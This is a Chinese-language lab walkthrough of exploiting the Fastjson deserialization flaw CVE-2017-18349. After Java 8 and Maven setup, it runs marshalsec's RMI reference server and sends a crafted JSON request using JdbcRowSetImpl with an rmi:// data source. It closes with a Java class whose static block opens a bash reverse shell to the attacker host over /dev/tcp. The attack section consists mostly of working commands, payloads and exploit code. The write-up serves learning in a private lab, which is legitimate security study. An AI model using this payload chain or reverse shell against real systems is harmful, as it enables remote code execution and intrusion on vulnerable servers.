声明
本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。文章为作者个人笔记及分享,如有错误或可改进的地方,欢迎各位大佬予以斧正
前期准备:1、配置Java8环境;2、配置maven环境
本机默认Java版本
通过一下链接下载Java8
https://repo.huaweicloud.com/java/jdk/8u202-b08/jdk-8u202-linux-x64.tar.gz
创建Java文件夹
将下载的压缩包移动到Java目录下
切换到Java目录并解压
配置环境变量
Vim /etc/profile
将以下内容复制到最底下
JAVA_HOME=/usr/local/java/jdk1.8.0_202
PATH=$PATH:$HOME/bin:$JAVA_HOME/bin
export JAVA_HOME
export PATH
使用以下命令通知系统Java的位置
update-alternatives --install "/usr/bin/java" "java" "/usr/local/java/jdk1.8.0_202/bin/java" 1
update-alternatives --install "/usr/bin/javac" "javac" "/usr/local/java/jdk1.8.0_202/bin/javac" 1
update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/local/java/jdk1.8.0_202/bin/javaws" 1
update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/local/java/jdk1.8.0_202/bin/javaws" 1
重新载入profile
source /etc/profile
但是此时系统还是Java11
Javac却没问题
因为Java默认使用的是系统版本,接下来将切换
使用命令update-alternatives --config java
成功安装
接下来安装maven,通过命令直接安装,简单很多,apt-get install maven,
找到settings,配置仓库镜像和Java版本
仓库配置
镜像配置
配置Java版本
配置mvn环境变量
配置好以后重新载入profile即可。
环境配置好之后接下来开始实验部分
靶机ip:192.168.1.163/
http,rmi服务ip:192.168.1.160/
攻击机ip:192.168.1.150/
开启实验环境
下载所要用到的工具及poc/exp
git clone GitHub - h0cksr/Fastjson--CVE-2017-18349-
编译.java文件
在此目录开启http服务
保证被攻击机能访问到攻击机http服务
git clone GitHub - mbechler/marshalsec
进入marshalsec目录,执行mvn clean package -DskipTests 编译生成的marshalsec的jar包,执行上面的命令必须在有pom.xml的目录下执行
装好以后明显多了一个target,并进入此目录执行以下命令便可开启rmi服务或ldap服务线程加载.class文件,具体工具使用可上github查看作者说明
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer “http://192.168.1.160:8888/#TouchFile”,注意引号必须是英文
通过访问靶机并抓包
修改数据包
数据包如下
POST / HTTP/1.1
Host: 192.168.238.129:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 167
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.238.128:1099/TouchFile",
"autoCommit":true
}
}
切换到靶机去看看成功执行没有
第一条命令是查看容器id,第二条是进入容器
反弹shell,首先重新配置脚本
脚本配置
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash", "-c", "bash -i >& /dev/tcp/192.168.238.128/6666 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
重复以上步骤并开启监听